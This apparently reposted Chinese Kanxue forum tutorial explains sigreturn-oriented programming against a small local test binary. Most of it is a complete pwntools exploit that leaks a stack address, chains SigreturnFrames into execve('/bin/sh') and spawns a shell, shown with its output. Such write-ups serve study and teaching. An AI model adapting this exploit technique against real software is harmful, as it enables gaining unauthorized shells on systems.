程序并不复杂,为了基于信号返回机制完成ROP,我们这里第一步需要构造sigreturn需要的栈,在pwntool中的SigreturnFrame接口可以直接创造一个假的栈,然后再对里面的数据进行修改。


当我们想要通过execive创建进程时,首先需要考虑的就是参数问题,由于我们需要给寄存器明确指示参数的所在位置,因此我们需要知道一个栈上的地址,并利用它作为基地址填充数据。


这个程序非常简单,因此原始的栈上只包含argcargv、环境变量以及auxv,从argv开始任意的地址都是栈上的地址,程序读取0x400,如果我们可以越过首条指令,让rax为1,那么就可以泄露rsp+0x0rsp+0x400范围内的数据,并轻松的得到一个栈上的地址。


rax寄存器非常好控制,它有一个特殊用途,就是保存返回值,如果我们只读取一个字节,并让程序在结束后从mov $0x400,%edx继续运行,就可以控制rax寄存器,新发送的一个字节会覆盖rsp+0x0数据的最低位字节,当rsp+0x0处原本就存储着一个程序地址,我们再发送mov $0x400,%edx对应的最低字节数据,就可以跳过xor指令。

exploit构造

经过上面的分析后,构造出下面的exploit。


import pwn
import time

pwn.context.clear()
pwn.context.update(
arch = 'amd64', os = 'linux',
)

target_info = {
'exec_path': './srop_example',
'addr_len': 0x8,
'_start_offset': 0x401000,
'syscall_ret_offset': 0x40100e,
'skip_xor_byte': 0x03,
'sigretreturn_syscall_num': 0xf,
'stack_addr': 0x0,
'bin_sh_str_offset': 0x140,
}

'''
goto starting point three time:
first: read one byte, set rax = 1 and skip [xor]
second: write to stdout [rsp+0x0 - rsp+0x400]
three: read next payload
'''


def pwn4leak_stack_info4goto():
payload = pwn.p64(target_info['_start_offset']) * 3
return payload

def pwn4leak_stack_info4write():
payload = pwn.p8(target_info['skip_xor_byte'])
return payload

def pwn4stack_set_by_sigframe():
sigframe = pwn.SigreturnFrame()
sigframe.rax = pwn.constants.SYS_read
sigframe.rdi = 0x0
sigframe.rsi = target_info['stack_addr']
sigframe.rdx = 0x400
sigframe.rcx = 0x0
sigframe.r8 = 0x0
sigframe.r9 = 0x0
sigframe.rsp = target_info['stack_addr']
sigframe.rip = target_info['syscall_ret_offset']

payload = pwn.p64(target_info['_start_offset'])
payload += b'A' * target_info['addr_len']
payload += bytes(sigframe)
return payload

def pwn4shell_get_by_sigframe():
sigframe = pwn.SigreturnFrame()
sigframe.rax = pwn.constants.SYS_execve
sigframe.rdi = target_info['stack_addr'] + target_info['bin_sh_str_offset']
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rcx = 0x0
sigframe.r8 = 0x0
sigframe.r9 = 0x0
sigframe.rsp = target_info['stack_addr']
sigframe.rip = target_info['syscall_ret_offset']

payload = pwn.p64(target_info['_start_offset'])
payload += b'B' * target_info['addr_len']
payload += bytes(sigframe)
payload += b'\x00' * (target_info['bin_sh_str_offset'] - len(payload))
payload += b'/bin/sh\x00'
return payload

def pwn4sigreturn_rax_set():
payload = pwn.p64(target_info['syscall_ret_offset'])
payload += b'C' * 7
return payload

'''
stage one -> leak stack info
stage two -> set stack address by sigreturn
stage three -> get shell [payload on stack] by sigreturn
'''


print('[--] tips: may need update new offset')
conn = pwn.process(target_info['exec_path'])

payload_1 = pwn4leak_stack_info4goto()
conn.send(payload_1)
time.sleep(1)
payload_2 = pwn4leak_stack_info4write()
conn.send(payload_2)

leak_info = conn.recv()
target_info['stack_addr'] = pwn.u64(leak_info[8:16])
print('[++] reveive: stack address = {0}'.format(hex(target_info['stack_addr'])))

payload_5 = pwn4sigreturn_rax_set()

payload_3 = pwn4stack_set_by_sigframe()
conn.send(payload_3)
time.sleep(1)
conn.send(payload_5)
time.sleep(1)

payload_4 = pwn4shell_get_by_sigframe()
conn.send(payload_4)
time.sleep(1)
conn.send(payload_5)

conn.interactive()

成功PWN

运行exploit后成功获取Shell。


[--] tips: may need update new offset
[+] Starting local process './srop_example': pid 3966
[++] reveive: stack address = 0x7ffc911aa323
[*] Switching to interactive mode
$ id
uid=1000(astaroth) gid=1000(astaroth) groups=1000(astaroth),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev),114(bluetooth),117(lpadmin),121(scanner)
$ exit
[*] Got EOF while reading in interactive
$
[*] Process './srop_example' stopped with exit code 0 (pid 3966)
[*] Got EOF while sending in interactive

开启调试模式才能PWN?

在运行调试脚本的时候发现只有打开pwntool的调试开关后,才可以正常的完成PWN,否则就会失败。


log_level = 'debug'


失败之前会先进入交互模式,此时不管你输入什么都会立即失败,比如这里我们直接输入了回车键,然后直接收到了SIGSEGV的崩溃错误。


[*] Switching to interactive mode
$

Program received signal SIGSEGV, Segmentation fault.


观察rsp上的数据可以发现回车键对应的ASCII码0x0a被送进了缓冲区当中。


(gdb) x /gx $rsp
0x7fff397d9998: 0x424242424242420a


程序仍然在读取信息,这与我们进入交互模式时是与Shell进行交互的初衷有所背离。


显然有部分的信息没有发送给程序。


要知道这是一段极其简单的汇编代码,并且直接通过syscall调用的read接口,并没有给stdout等文件处理缓冲区,由于脚本发送数据的速度过快,同时又没有缓冲区进行临时的存在,导致了数据的丢失,因为开启调试模式后,调试信息的输出需要占用一定的时间,所以send会间隔一段时间后再发送,就不会产生数据丢失的情况。

我们在send之后添加sleep函数,也可也缓解这一问题。


import time time.sleep(1)




看雪ID:福建炒饭乡会

https://bbs.kanxue.com/user-home-1000123.htm

*本文为看雪论坛优秀文章,由 福建炒饭乡会 原创,转载请注明来自看雪社区


# 往期推荐

1、Alt-Tab Terminator注册算法逆向

2、恶意木马历险记

3、VMP源码分析:反调试与绕过方法

4、Chrome V8 issue 1486342浅析

5、Cython逆向-语言特性分析



球分享

球点赞

球在看



点击阅读原文查看更多

看雪学苑
致力于移动与安全研究的开发者社区,看雪学院(kanxue.com)官方微信公众帐号。
 最新文章